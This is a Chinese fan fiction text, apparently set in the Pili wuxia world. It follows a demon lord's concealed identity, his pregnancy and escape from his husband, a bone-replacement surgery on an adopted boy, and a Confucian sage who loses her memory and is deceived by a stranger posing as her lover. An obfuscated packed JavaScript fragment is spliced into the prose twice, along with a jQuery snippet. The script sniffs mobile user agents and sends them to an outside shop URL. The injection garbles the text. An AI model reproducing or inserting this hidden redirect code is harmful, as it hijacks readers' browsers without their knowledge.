提前出关的剑谪仙打发了黯痕前往南域攀玉趾处,自己则化光速速返回涵茵谷,只因他手中的芈舞罗最近突然枝叶萎靡,让他十分担心凤锦的现状,于是不等到原定时间便提早出关。 刚刚回到涵茵谷,剑谪仙便四处找寻凤锦的下落,待他步入书房看到凤锦正在熟睡才稍稍松了口气。 剑谪仙先将芈舞罗插在书房窗台边的小花瓶中,这才走近凤锦休憩的贵妃塌,他化出一件斗篷,正要帮凤锦盖上,便发现了凤锦身上的异样之处。 “这是……?”剑谪仙不敢确定自己的想法,急忙握住凤锦的手腕仔细摸了摸他的脉象。 “是滑脉,果然如此!”剑谪仙确定了自己的猜测,此时看着凤锦的神情满是温柔与心疼。 “阿锦,辛苦你了!仙宿在此发誓,生生世世绝不负你!”说着剑谪仙立刻将手里的披风为凤锦盖上,看见他手中松松捏着的几张信纸,剑谪仙也顺手取了走,准备放在书桌上,待凤锦醒后再继续看。 然而,无意中扫到信上开头的“魔主敬启”几个字,剑谪仙动作一顿,低头开始看信。信件不过五页,内中隐藏的秘密却让剑谪仙如坠冰窖,转头看向凤锦的眼神也是阴郁莫测。 “阿锦……仙宿知你有秘密,却不知是这样大的秘密啊……”剑谪仙攥着几张信纸忍不住低声自嘲道。 半晌后,剑谪仙动作轻柔地将信纸塞回凤锦手中,收回披风,又取走花瓶中的芈舞罗,随后便头也不回地离开了涵茵谷。 凤锦这一觉睡到了傍晚,直到夕阳晒得他额角汗津津才醒过来。 凤锦摸着自己自睡醒后便心悸不断的胸口。 “不知为何竟这般心绪难安?”凤锦不知缘由只得暂且按下,看完手中的信件,凤锦将之销毁,然后给他们写了封回信发走。 第二日入夜后,尚未入睡的凤锦察觉到涵茵谷内出现了几缕熟悉的魔气,他立刻走出房间,只见魔魁三人正等候在院中。 “参见魔主,属下等人领命前来!”三人见凤锦出现立刻行礼。 “什么?领命前来?本王并未召你们前来!”凤锦心中一惊,立刻知晓自己是被算计了。 “因为传信召他们前来的不是阿锦,而是仙宿。”熟悉的清冷声音自外传来。 心知自己不知道在什么时候已经暴露,凤锦忍不住闭了闭眼,压下眼中的暴虐怒火。 “谪郎是何时如何知晓的?锦自认平日里并未露出马脚。”凤锦极力压抑着自己的心火,就连腹中突来的隐痛也暂时视而不见。 “阿锦确实并未有不妥之处,只是仙宿昨日便已经回来,无意中看到了阿锦手中的信件。”剑谪仙背负着双手,即使已经揭露了凤锦的身份,但看向他时的眼神中扔不减爱意。 “那谪郎今日此举又是何目的?你不是已经知道本王的身份?”凤锦对上剑谪仙的双眼,丝毫不避让地问道。 “自然是为帮阿锦铲除后顾之忧……” 话音未落剑谪仙已是一掌袭向距他最近的七重冥王,时刻紧盯着剑谪仙动作的凤锦知晓七重冥王他们修为与剑谪仙差了太多,若这一掌真的中了怕是没命再回魔界,因此即便他如今功力大减,仍是要替这三名属下挡下这一掌。 凤锦与剑谪仙一掌相对,剑谪仙虽是临时收了五成功力,仍是让凤锦内府受创,口溢朱红,腹痛更甚。 “魔主!” “阿锦!”剑谪仙见凤锦受伤,心下疼痛,便要揽他入怀为他疗伤。“你身怀六甲,为何如此不顾惜自己的身体?” “够了!谪郎才是为何要对吾属下出手?”凤锦推开剑谪仙双手,随意一抹自己的嘴角,冷声询问。 “阿锦你的所在只这三人知晓,杀了他们便不会有其他人来打扰你吾夫妻二人的平静生活了。”剑谪仙冷漠的眼神扫过在场的魔魁三人,语气中的理所当然让凤锦忍不住气闷。 “剑谪仙你是不是有病?吾是魔族之主,又不只有这三名手下,怎可能永远都与你做这平凡夫妻!”凤锦只觉小腹愈来愈痛,腿间似乎有什么液体正在慢慢流下。 “阿锦放心,仙宿再不会放阿锦独自一人了。只要仙宿无时无刻不在阿锦身边,阿锦便做不了这魔族之主了。” 凤锦见剑谪仙的神色有些异样,同时自己也难以支撑,心中已是下了决定。暗中早已聚力,此时突然回身一掌击向魔魁三人,同时传音:求援军师! 这一掌已是凤锦最后的功力,一掌过后,凤锦忍不住就要摔倒在地,剑谪仙本想要去追那三名魔族,却被无力的凤锦抱了个满怀。 凤锦此时已是面无血色,他拉着剑谪仙的手按在了自己肚子上,无力地说道:“谪郎……保住我们的……孩子……”话音刚落,凤锦便昏了过去。 “阿锦!阿锦!”剑谪仙视线落在凤锦的下摆发现逐渐有血迹在晕开,忍不住脸色聚变,哪还有心思去想那逃走的三名魔族,满心只剩下阿锦和孩子的安危。 7. 每次睡醒都发现情缘在揍人-5 凤锦昏迷的时间并不长,如今受制于人,他暂时还没办法摆脱剑谪仙,只能安心养伤,等待白无垢前来接应。 “阿锦,先喝药吧。”剑谪仙端着一碗汤药走了过来。 凤锦正靠在床头看着一本杂记,闻言将手中的书扔到一旁,接过了汤药一口喝下。 剑谪仙拉过凤锦的手腕,又帮他把了一会儿脉,脉象已经平缓稳固,剑谪仙这才放下了心。 “阿锦放心,孩儿已经安全了。”剑谪仙说完仍握着凤锦的手不舍松开。 凤锦撇了他一眼,却并未推开他的手,反而似笑非笑问道:“谪郎可否告知,芈舞罗如今在何处?” 剑谪仙眼带笑意,抬手摸了摸凤锦还有些苍白的脸颊,不甚在意道:“芈舞罗关乎阿锦的安危,仙宿已将其置于安全之处,仙羽宿一先暂时交与阿锦护身。” “哼!老狐狸!”凤锦哼笑一声抢过剑谪仙手中的仙羽宿一不再多言。 时间又过了五日,凤锦已暗中积攒了五成的功力,脱困与否只看今夜。 深夜,剑谪仙躺在凤锦旁边闭目浅眠,凤锦却是在心中慢慢细数时间,直到鼻间闻到一丝浅淡的花香,凤锦睁开双眼,目中只剩清醒与冷冽。 正待凤锦抬手要一掌击中剑谪仙胸口之时,被剑谪仙抬掌拦下,显然剑谪仙也根本没有睡着。 凤锦不欲多言,掌势一转,招式变换间剑谪仙随之一一抵挡,床榻空间窄小,并不容得下两人交手,不知不觉间,两人已经转到屋内桌旁。 “阿锦,你真下定决心要与吾反目?”剑谪仙将凤锦双手禁锢在身后,将人压在了桌上冷声问道。 凤锦试着挣扎了一下发现实在难以挣脱,不得不回答他的问题以拖延时间:“谪郎也该知晓,锦乃是魔族之主,有属于自己的子民与责任,不能也不该将他们抛弃。” “阿锦这话说出口,你觉得仙宿会相信吗?夫妻数甲子,仙宿相信没人会比我更了解你,你之狡诈,你之野望还有你之伪装。与其说你放不下魔族的子民,不如说是能对你有用的魔族子民吧!”剑谪仙简单两句已经道出凤锦之本性。 凤锦忍不住轻笑了两声:“哈哈哈哈!谪郎确实了解锦,但你以为魔族之人又不了解内情吗?他们可是不愿也是不敢对锦说半个不字,就在锦当年年少时兵败妖族与邪能境之时,他们便只剩下跪在锦的王座之下这一个选择了。” “魔界内情仙宿无权干涉,但为何你一定要沾染中原之地。”剑谪仙也了解过冥界这个界域,地域宽广资源丰富,玄都魔族如今在冥界占着绝对的主导地位,并没有入侵中原的必要理由。 凤锦正要回答,却闻一声清越的琴音响起,知晓白无垢已到,立刻凑近剑谪仙,剑谪仙不明所以,愣了一下未及时退开,直接被凤锦口中吹出的一股赤红毒雾扑了满脸,一时间竟感内元受制,运转艰涩,一身的超然功体全然发挥不出来。 “哐——”一声巨响,屋门直接被破开。 掌风自剑谪仙身后偷袭而来,剑谪仙不欲放开凤锦,只好强行运转剑气,轩昂剑龛清吟出鞘,挡住身后的掌劲。 白无垢双掌坚硬犹胜金石,与剑刃相接发出清脆的碰撞声,凤锦并不担忧白无垢的情况,毕竟白无垢或者说是金叶一品出身冥界的金树一族,而金树族是出了名了铜皮铁骨刀剑难伤,能伤到金树族的唯有金树族本身。 轩昂剑龛只是暂时拦下白无垢,剑谪仙深知自己坚持不了太久,直接将凤锦揽在怀中,就要离开菡茵谷,回返玉川境。 就在两人路过凤锦本命花树之时,一双玉手自树后探出,趁剑谪仙不备将凤锦拉走,出手之人正是圣母。 圣母拉着凤锦退后几步,看距离已够远,立刻激活刚刚提前布置好的阵法,凤锦的本命花树犹如被激活了一般,开始疯狂生长,准备将剑谪仙整个人包裹起来。 剑谪仙看着视野被树藤逐渐遮挡,体内之毒已经被完全激发,被说继续控制轩昂剑龛阻拦白无垢,就说他本身也已经动弹不得。 “凤锦!你!” “谪郎吾爱,再会了!” 凤锦看着剑谪仙怒火中烧的双眼,忍不住得意一笑,自剑谪仙在天窍内修行以来,性格沉闷了许多,如今这样多了些生气的模样让凤锦满意了许多。 “老师,义母,我们回魔界吧。”最后看了一眼已被完全包裹住的剑谪仙凤锦说道。 “金魔准备就这样放任王夫吗?”白无垢开口询问。 凤锦直到白无垢的意思,剑谪仙修为太高,若不提前留下钳制手段,未来必会对凤锦的计划有所妨碍。 凤锦摇了摇头笑道:“本王原本的计划现在想来甚是枯燥,中原有谪郎援手,这般势均力敌的对决才是本王乐趣所在啊!” “白无垢算了,等阿锦吃过亏长长记性吧。”圣母不满地横了凤锦一眼拉着两人化光离开。 一天后,花树围成的藤球这才松开,一片纯白花瓣掉落在剑谪仙身前。 剑谪仙俯身拾起花瓣,随即将之含在口中,原本低落的神色中带起一丝柔软,他体内的毒已经解了,内元运转流畅圆融,并无任何后遗症。 “阿锦,吾妻,仙宿绝对不会放手!”剑谪仙收回轩昂剑龛回转天窍道场,距离凤锦生产还有两月,他必会将妻子与孩子一起带回。 【本想单开一章写小空,但是设定的时间线不允许,只能接着这章转换视角继续了】 他在剧痛中醒来,全身的骨头似是要立刻膨胀撑破他的身体,但是又有一股力量将骨头挤压在体内,不至于戳破自己的内脏和表皮,但是疼痛却无时无刻不在提醒着他自己的异常之处。 他没有任何记忆,脑中偶尔会有些画面闪现,但是还不待他细想,下一秒就被身体的剧痛影响下忘了个精光。 他是谁?他在哪?他要做什么?甚至他已经在怀疑自己是否还活着吗?为什么会这么痛?为什么都这么痛了他还没有死去呢? 凤锦发现那个少年已经第三天了,三天前他刚刚回到魔界便察觉到苦境的空间壁障出现了波动,在他的本命花树上方正好出现了一个黑洞,一名澡绿发的青年从黑洞中掉落了下来,并在短短时间内从二十多岁的青年缩小成了一名不到十岁的少年。少年躺在凤锦的本体树根旁,整整三天没吃没喝,偶尔会忍不住泄露出一两声难耐的痛呼,但却从未想要站起身离开这里,似乎是想要直接死在这里顺便做花肥。 凤锦对少年起了些好奇,明明就是一名人族少年,却偏偏满身的魔气,是谁不惜自己的本命魔元魔化了他?魔气融合的不怎么好,让他无法如同纯种魔族一般寿命长久。 凤锦看着外面的大雨,最终还是离开了书房,擎着伞缓缓走到少年跟前,八个多月的肚子让他不太方便蹲下,索性就直接挥手让一旁的藤蔓缠住少年,又将少年送到了客房的床上。 “少年人,你可还好?”凤锦站在床边探了探少年湿漉漉的额头问道。 “疼……好疼……啊……”少年迷茫的双眼落在了凤锦身上,嗓音干涩又沙哑。 凤锦传音让魔医速来,他先暂时给少年服用了些止痛的药丹。 止痛药似乎对少年的效果不那么好,但至少少年已经不会痛的浑身发抖了。少年难得有了些许困意,微阖着眼昏昏欲睡。 不多时,一架轮椅缓缓行进而来,而轮椅上坐着的覆面男子正是白无垢招揽来秘密照顾凤锦的魔医。 “玉磬隐,你来看看这个孩子。”凤锦对着魔医招了招手,示意他给少年看看。 玉磬隐点了点头,他数年前曾身受重伤,一身修为化为泡影,甚至五感受创至深,即便经过白无垢数年的救治,至今仍口不能言,鼻不能嗅,耳不能听,也就视力刚刚恢复常人水准,让他得以辨认唇语。 玉磬隐给少年仔细把了脉,心里忍不住咋舌,这到底是多么强大的生命力居然这还能活,自己在这少年面前就是个弟弟啊。 在少年胳膊腿上仔细捏了一圈后,玉磬隐在神医系统的辅助下已经对少年的情况了然于胸。 从药箱中抽出纸,玉磬隐挥笔开始书写病历,凤锦站在他身后同步看着病历上的内容。 “骨病?”凤锦有些疑惑。 ‘正是,我在这孩子体内摸到了碎裂的魔骨残片,他体内有两套骨骼,他的原生骨骼应该是生有一种无限生长的病症,而那套残破的魔骨是有人为了治疗他的骨病而特意植入的,用魔骨包裹住病骨,才不至于让他被自己不断成长的骨头刺穿身死。’ 凤锦摸了摸少年的手指,内中确实有大量碎裂的魔骨,和一套完整的指骨。 “嗯……那该如何施救?” ‘他体内的魔骨已经快要失效了,为今之计,还需尽快再给他植入一套新的魔骨,而且最好把他本身的那套病骨完全抽出,否则也只是治标不治本。’玉磬隐刚刚已经查询了神医系统的数据库,只是用药是无法根治这名少年的骨病的,只能做手术了。 凤锦转头看向躺在床上如今已经睁开双眼的少年,他将病历拿起展示给少年看过后,开口问他:“治疗方法你已经知晓,但看你选择是要治标还是治本了,但本王还需提醒你一点,你本是人类,若要治本,以魔骨完全替代人骨后,可就属于我魔族一脉了。当然,本王建议你选择治本亦有本王的私心,你之意志坚定远超常人,还是少见的纯阳体,跨过这道坎未来的成就必不可限量,本王已展现招揽之心,如何医治随你选择。” 少年眨了眨眼,他是没有记忆,又不是白痴,凤锦与他无亲无故,救他自然是图他回报,而他如今前尘尽忘,一切都要重新开始,有个靠山护佑他成长到足够强也非是坏事,反正他自认不是个好人,若有一天想要离开,自然不会被这救命之恩困锁自身。 想通了一切,少年艰难地开了口:“我……选……治……本!” “好!玉磬隐,换骨需要的东西报上来。”凤锦仙羽宿一一摇示意魔医准备手术。 玉磬隐点了点头,继续写。 ‘别的好说,替换的魔骨质量要求很高……’ 不待他写完,凤锦直接打断他:“放心,魔骨不是问题,魔医先助他止疼吧。” 这冥界最坚硬的东西莫过于金树族人的本体了,而且也不是所有的金树都能够诞生意识成功化形,没有意识的普通金树在金树族中并没有那么重视,至于外族人拿不到的原因不过是金树双王怕外族人借此锻造兵器反过来针对金树族自己罢了。 金树宗王瑟八纮与天魔开世花王同为混沌诸王,按说能算是凤锦的长辈,奈何他们相识之时凤锦已是魔族之主,掌握冥界绝大部分势力,面对金树族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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‘麻沸散,喝了。’玉磬隐从一旁的茶盘中端了第一碗药递给少年。 ‘化骨散,继续。’玉磬隐见少年喝完再端起第二碗药。 化骨散针对的是少年体内碎裂的魔骨,化骨散会在接下来的十二个时辰内将魔骨完全化为原始魔气,却对他原本的人骨不起作用。 ‘魔主,防护阵起。’ “嗯,好!”凤锦点了点头,仙羽宿一一挥,插入少年身侧防护阵法的阵眼之中,防护阵立刻开启,这套阵法将在少年剔除人骨后短暂维持他身体生机,为植入魔骨争取更多时间。 ‘魔主,将他人骨击出体外。’玉磬隐轮椅倒退,远离了两人后示意凤锦可以动手了。 凤锦点了点头,掌心聚气,他如今剩余修为不多,能为少年无伤击出人骨的机会只有一次。 “喝!”掌力临身,少年未曾感觉多少痛感,只感觉浑身瘫软,难以呼吸,人骨已经离体,脱离控制的骨架瞬间迎风暴涨,宛若一丛骨刺荆棘。 ‘魔主让开,我要开始植入金树骨了。’玉磬隐见已经安全立刻推着轮椅滑了回来。 玉磬隐手起术诀,金树骨随之泛起莹莹金光,逐渐与少年融为一体,但不知为何缘故,融合过程十分缓慢,并且速度还在逐渐变慢,最后尴尬地僵持住了。 ‘魔主,给他一滴精血。’就在此时玉磬隐偷偷使了个眼色给凤锦。 凤锦早就察觉玉磬隐动作有异,如今看他的眼色如何不知道他的小心思,不过是想借他这滴精血将这少年完全魔化成天魔一脉血统,彻底断了他人族的退路。凤锦对此到没什么趁人之危的心虚感,这少年既然选择了完全入魔,那凤锦就不容他有其他后手。遂立刻从心口逼出一滴精纯魔血,弹入少年心口。 魔血入体,玉磬隐再起术诀,不过一个时辰,便将金树骨完全植入完成。 ‘手术完成!少年你这几天好好休息,然后积极复健,一个月左右便可与其他人无异,单这副金树骨就足矣让你远超魔族九成人,努力修炼你的潜力可是不可限量。’玉磬隐揉了揉酸疼的胳膊,然后和凤锦打了个招呼便离开了。 “你融合金树骨时同时融合了本王的精血,严格来说你以后便是天魔一系的吾之血脉之子了,在这玄都金魔挥下可说是一魔之下万魔之上,你绝不可堕了天魔一系不败之威。”凤锦低垂双眼看着躺在手术台上神色清醒的少年严声叮嘱。 “好!”困扰着他一身的疼痛一朝祛除,少年的精神似乎也清醒了许多,回答凤锦之时也十分郑重。 “你原先名字为何,还是需要父王为你重取一个名字?”凤锦对少年的反应十分满意,眼中带上了点笑意,挥手间仙羽宿一已回到手中,想到将来剑谪仙发现自己喜当爹的反应必定十分趣味。 “我的名字?我好像还记得?史……仗义?不对!小空……?还是戮世摩罗?对,我的名字是戮世摩罗!”少年脑中的记忆混乱不堪,但是他确定他是戮世摩罗,亲近之人会唤他‘小空’。 “戮世摩罗是吗?很好,这才是魔族该有的名字,史仗义这种人族的名字已经不适合你了。魔族的未来就要看你和你小弟的了。”凤锦手中仙羽宿一拂过自己的肚子,示意戮世摩罗他的小弟也在这里。 “小弟!”戮世摩罗不知为何只要想起‘小弟’两字,心中便生起一丝动容,是他曾经也有过一个小弟吗?但如今毫无记忆的他人生中只剩眼前的这一个小弟了,他绝对会保护好这个仅剩的小弟! 8. 明渊于心-3 苦境中原,一处野外山洞,禁心刚刚自汤问梦泽拜访好友香六牙而回,本是路过暂歇片刻,却没想到收到一封意外之人的飞书。 ‘好友灵渊敬启,友云栖妙心。’看到飞书上的落款,禁心心下疑惑,好友百年前修佛入了瓶颈,与其余三名佛友相约闭关论道,闭关前曾传信禁心,言及此次闭关时间少则五甲子,多则十甲子,如今这么早便出关,不知情况如何? 禁心想及此立刻拆信观看,内中详情却是让她险些失色。 这封信乃是云栖妙心闭关前所写交于弟子手中,若他此行闭关出事,弟子便会将此信传与禁心,解释各中缘由。 云栖妙心闭关的真正理由并非修为卡在瓶颈,而是他的三位师弟妹天命已现,三人同修多年却对佛产生了疑问,而当他三人将疑问脱口而出时,第六天之主魔佛波旬之天命便将临世。他曾想借闭关之机将三人思想导正,阻拦波旬降临,但若好友看到此信,便是此计已败,他必死无疑。魔佛波旬威能不可估量,万望好友禁心尽早退隐深山,以免陷入佛教这波漩涡之中。 是的,云栖妙心这封信不是求援信,而是警告信,简单来说就是让好友禁心别趟波旬这浑水,让佛教的人自己扛,可说是十分的真心实意了。 “好友……唉!”禁心与云栖妙心多年挚友,如何不知好友信中潜台词,但好友身死,她不可能不去看好友最后一面。 决心已定,禁心隐藏形迹,立刻动身前往云栖妙心修行所在的释迦寺。 待禁心两日后赶到释迦寺时,只见原本幽深清净的寺庙如今只剩遍地残骸,只有几名小沙弥还在收埋牺牲的佛友的残躯。 禁心并未现身,而是暗中进入释迦寺查看了一圈,从打扫战场的这几个小沙弥口中得知,魔佛波旬已经正式临世,云栖妙心的三名师弟妹已经不再是曾经的那三名佛修,而是完全承接了波旬天命的魔佛了。好友云栖妙心之佛心被波旬夺走,化为灵佛心,可保证三人合体为三头六臂的魔佛波旬时保有各自意识,且保护三人身心魂不死不灭。 “魔佛波旬!你实在该死!”禁心想到这三名叛逆不止杀了好友云栖妙心,居然还有夺心之恶,不由杀心倏起。 悄然而来,悄然而去,禁心此行的目的已经达到,没必要继续留在这里了。 儒教总部当初虽被逆教势力所灭,但支部仍在,若论武林中的消息传播,三教不相上下。禁心传信儒教弟子,时刻关注魔佛波旬状况,顺便探听佛教准备如何应对波旬之祸。 禁心并不准备在明面上帮助佛教对抗波旬,三教毕竟是三教而不是一教,波旬乃是佛教的天命,不是儒教的天命,禁心暗中帮助乃是全她与好友的情谊,而非是佛教与儒教联盟对抗波旬。 只说儒教势力,没在佛教全力对抗波旬时落井下石,扩张势力吃佛教的蛋糕已经算是良心大发了。毕竟苦境地盘就这么大,资源出产只有这么多,你佛教道教势力大了,占用的资源多了,那我儒教不就少了?因此即使明面上三教看似一荣俱荣一损俱损,实则暗地里恨不得把人脑袋打成狗脑袋,谁不想灭了其他两教的势力谁是狗。 魔佛波旬在苦境沿着各个佛寺一通犁地,禁心暗示儒教弟子在后面偷偷救助灾民,别看普通人在苦境就像是韭菜割完一茬又长一茬,但在三教的势力范围内,韭菜才是最重要的经济基础,没了普通人存在,三教弟子如何补充人头。所以在儒教弟子偷偷救助灾民的时候看到道教弟子大张旗鼓地迁移灾民也没有出声阻拦,,大家大哥不笑二哥,本质干的都是一样的事儿。 波旬之祸的第五年,佛教突然有一名僧者名声大振,据说是一名人称无为禅师的苦行僧,他聚集了不少幸存的僧者,建立起了抵抗波旬的佛教势力。 很快,无为禅师的资料便送到了禁心手中。 看着那双熟悉的漩涡眉,禁心有一瞬间的失神,但随即便清醒过来。 “原来圣灵也羽化这般久了啊……”禁心低落地叹息了一句。当初圣灵尊者羽化之时,禁心并未收到消息,不过心有所感让儒教探听了下消息,这才知道圣灵羽化之前特意叮嘱过弟子不需大办,也不必通知佛儒两教。 “如今看来你之天命便应在波旬之上了。文渊与禁心是师徒情深,圣灵与禁心是萍水之交,无为与禁心是素昧平生。呵……”自嘲一笑,禁心并未太过失意,毕竟她早有觉悟,此生只求回归天阎魔城,并不想与人留情,再想下去也不过徒惹烦忧罢了。 魔佛波旬初次降世,实际上并没有佛经中描述的那般势不可敌,无更多的轮回积淀,魔佛的修为也不过是当初那三名佛修的总和,但是灵佛心之能为却让波旬横扫佛教全无敌手。 无为禅师苦行多年,佛法精深,根基修为更是超乎寻常,一时间竟然与波旬僵持了下来。 “禅师,一直这样僵持也不是回事,咱们也该想办法看看能不能破除波旬的秘法啊!”佛教联盟内几名僧者围着无为禅师提议道。 无为禅师早便想到此事,如今见有人询问,便立刻回复:“贫僧已经请人打造了一对圣弓圣箭,箭头材质特殊,正好可以克制波旬秘法,必定可以突破波旬的护体罡罩,击出灵佛心。” “那可太好了,禅师可决定好何时与波旬决战?” “时间定在五日后!届时贫僧与四位佛友正面缠住波旬,吾徒九叶在远处伺机用圣箭击出波旬灵佛心,最后咱们五人合力分开封印波旬与灵佛心。” “可!” “老衲义不容辞!” “阿弥陀佛!” “老子听无为的!” 四人纷纷同意计划,静待五日后的决战之日。 禁心本不知道无为禅师的斩魔计划,不过是因为路过见波旬手下的魔僧正在追杀无为的徒弟九叶,顺手救走了人而已。 可惜九叶受伤濒死,已经无力再继续执行无为禅师的斩魔计划,只得孤注一掷将圣弓与圣箭托给禁心,这名师尊无为禅师口中的故人了。 禁心并未拒绝,带着仅剩一口气的九叶来到战场不远处一座高山的峰顶,无为禅师五人已经与波旬交上了手。 君子六艺,禁心无一不精,射术自然在儒门也是顶尖的。 禁心深吸口气,静心凝神,手指已拉开弓弦,搭在圣弓上的箭尖遥指波旬心口,一身深厚儒功附着于圣箭之上,威势并不逊色于魔佛波旬。 出手的时机只有一瞬,禁心并未犹豫,一箭射出,正中波旬后心,灵佛心成功被击出体外,被无为禅师接住。 “佛友,动手!” 四位大师闻言立刻结四方封印,借助四方五岳之力,将波旬狠狠压入地底万丈深处,五岳之力亦会将波旬封印于山石之中,防止波旬脱困。 无为禅师见其他四人功成,立刻动手将灵佛心置于自身心口处,以自己的躯体作为封印灵佛心的媒介,隔离波旬和灵佛心之间的感应。 此战已经功成,禁心也算为好友云栖妙心报了仇,手中已经失去灵性的圣弓被禁心放在已无气息的九叶身前,再未看无为一眼,转身离开了战场。 助文渊三世,全其天命,禁心只觉自己修为松动,似乎是要有大突破,来不及返回山居,只得立刻寻了一处偏僻洞穴简单设下了一道防护阵法便立刻沉心开始突破。 而禁心不知的是,就在她设下防护阵法时,不远树林处有一名手持白伞的黑发文弱男子将她所为尽皆收入眼中。 男子如今名为一夕明道·玦残何,这当然是假名。玦残何自降生便带有奇病,停不下的咳嗽与头痛,让他的身体日渐衰弱,即便再惊才绝艳,再如何风华绝代,也抵不过病入膏肓。他只能不断地取一个个假名,加入一个个不同的势力,只为找到能够治愈自己的方法。 如今玦残何刚刚失望地离开道教,他本想准备加入德风古道,自儒教总部被灭,德风古道与学海无涯是儒教台面上最大的两个儒教势力,学海无涯主要教导儒生君子六艺,算是儒教的高级学堂,而德风古道更近似一个儒生组成的江湖势力。 玦残何本来是准备先混进德风古道看看的,却没想到途中竟然会见到儒教先掌教禁谛阐提,这或许是一个更好的机会,于是玦残何跟随其后全程看到了防护阵法的布置过程。 “若是直接进入未免太过目中无人,吾还是在外稍待吧……咳咳……”玦残何找了一处干净的巨石暂时歇脚。 山洞内的禁心被混乱激荡的内元影响,并未察觉到山洞外玦残何的存在。 禁心盘膝而坐,内元波动逐渐在她的控制之下由混乱变得有序,禁心只觉神魂感受到一阵吸力,似乎要她神魂离体。她本为梦魇之体,并无实体,因此神魂的强度不可与他人相比,在其他人看来危险无比的神魂离体对禁心来说只是家常便饭。 禁心抱元守一,见内元运转圆融无恙,这才顺应这阵吸力,神魂脱离躯体,飘飘然直入虚空之上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743115|189740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 神魂的感觉与肉身不同,禁心便不控制神魂行进的方向,直接前往吸引她的所在。 一团弱小的灵魂在虚空中漂浮,散发着一阵阵波动,而这阵波动与禁心产生了共鸣,吸引她来到了此地。 禁心将这团灵魂收入自己的神魂中,神魂接触后,灵魂团中浮现的画面却让禁心根本不敢置信。 他化阐提被属下背叛身死,断灭阐提自断头颅施展禁术又为断后力竭而亡,阇魇那迦因无梦境能源最终消失,魔皇强行剥离体内历元沉眠冥池。 她的家人…… 她的家人竟无一善终!! 凄厉的龙吟自禁心口中脱出,禁心心神动摇,正要收神魂回体之时,虚空一道恐怖攻击袭中禁心神魂。 “御天龙族竟然来的这么快?虚无的能为你们根本难以测度,哼!”发出一招过后,偷袭之人立刻离开了这片虚空。 在山洞外静坐等待的玦残何不知虚空之中的纠葛,只闻内中禁心发出一声厉吟便再无任何声音。 玦残何不知禁心是不是出了什么意外,难道是走火入魔? 犹豫了一会儿,玦残何想到禁心毕竟是他混入儒教的捷径,不能放任她在这里出事,于是立即起身,几息便破除了禁心留下的防护阵法,闯入了山洞之中。 “灵渊圣尊?”玦残何快步行至禁心跟前,发现她口溢朱红,已经昏迷不醒。想到这里救治也不太方便,便抱起禁心离开山洞前往山脚处的城镇暂时落脚。 玦残何将禁心在客栈安置好,这才伸手为她诊脉。 “嗯……灵渊神魂受创颇深。”玦残何立刻运使道术检查禁心的神魂,无意中发现了被禁心保护起来的那一团虚弱的小灵魂团。 “这团灵魂留在灵渊神魂内,未来可能会影响她之意识,还是转移至别处吧。”玦残何心下一转,将这小灵魂团移到禁心丹田之处,由她内元温养,虽不如神魂蕴养的效果好,但对于禁心相对更安全一些。 禁心整整昏迷了五日,这一天终于醒了过来。 原本坐在房中桌旁看书的玦残何听到声音,立刻放下手中的医书,走到禁心床边问道:“汝感觉如何?” 禁心撑着身体坐了起来,打量了一圈周围环境,又看了一看俊美文弱的玦残何,这才开口:“这里是何处?汝是何人?吾又是谁?” 玦残何闻言额头一跳,他没想到禁心神魂之伤这么严重,居然让她失忆了! 玦残何只沉吟一瞬,便想通禁心失忆也未必是坏事,这或许正是他的机会。 “这里是客栈,汝是儒教的前任掌教灵渊圣尊·禁谛阐提,吾名文曲尽墨·琛奈缺,是汝的爱人。”玦残何,不,现在的琛奈缺如是说道。 “汝是突破修为时出了问题,神魂受创导致的失忆,待神魂伤势恢复,记忆便会回来了。”而琛奈缺会在禁心恢复记忆前得到他想要的信息然后离开。 “嗯……吾暂且相信汝之所言,若与事实有所出入,吾不会放任汝多活一日。”禁心一双紫黑色双眼冷视琛奈缺,并未因他之前的解释便放松警惕。 “放心吧!灵渊汝伤势严重,需要多休息,吾这就去为你煎药。”说完琛奈缺从容地离开客房,见禁心没有继续注意他,他暗中找了客栈掌柜直接把他这几天住的那间客房退了,仅留了禁心那一间房。 夜晚,禁心准备休息了,却见琛奈缺还坐在她房中看书,没有任何要离开的倾向,她不得不开口提醒:“汝还要坐到何时,吾要休息了。” “咳咳……抱歉,吾看到重要之处,一时入迷了……咳咳,吾这便给你熄灯。”琛奈缺说着合上手上的医书。 “吾的意思是汝该回自己的房间了。”禁心见琛奈缺顾左右而言他不由重复了一遍。 琛奈缺露出一个无奈的笑容,说道:“汝吾是爱人,自然只有一间房。咳咳……吾知灵渊如今失忆对吾十分陌生,吾会自己在榻上休息的……咳咳……” 禁心不知道为何看到琛奈缺苍白着脸咳嗽的样子就十分不自在,不由扭开了脸,半晌才不情愿地开了口:“算了,看汝这病痨样子比吾还更像个病人,床让给汝,吾去榻上睡!”禁心说完便径自走到窗台下的贵妃榻旁躺了上去,闭了双眼不再看向琛奈缺。 “好吧,吾要多谢灵渊体贴吾了……咳咳……”琛奈缺熄了室内的烛火这才躺回床上。 黑暗中,只余两个清醒的人与两双泛着冷光的眼。 9. 明渊于心-4 在客栈又住了半个月,直到禁心身体好转许多,两人才一同返回琛奈缺的一处房产。 禁心在屋内缓缓踱步一圈,四处打量了一番,即便以挑剔的目光来看,这套房产的装修也可称赞一句“无懈可击”了。 两人的日常用品衣物被褥一应俱全,就连厨房都有经常使用的痕迹,院子一角种了一颗树龄近百年的枫树,树下摆着一张石桌与相对的两张石凳,石桌中摆着的一套茶具已经落了薄薄一层灰尘。 “呵……”禁心手指擦过石桌的桌面同时发出一声意味不明的轻笑。 这时琛奈缺自洗浴房走出并说道:“灵渊,一路风尘仆仆,吾给汝准备了些热水,咳咳……汝先换洗一下吧,衣服也已放下了。” 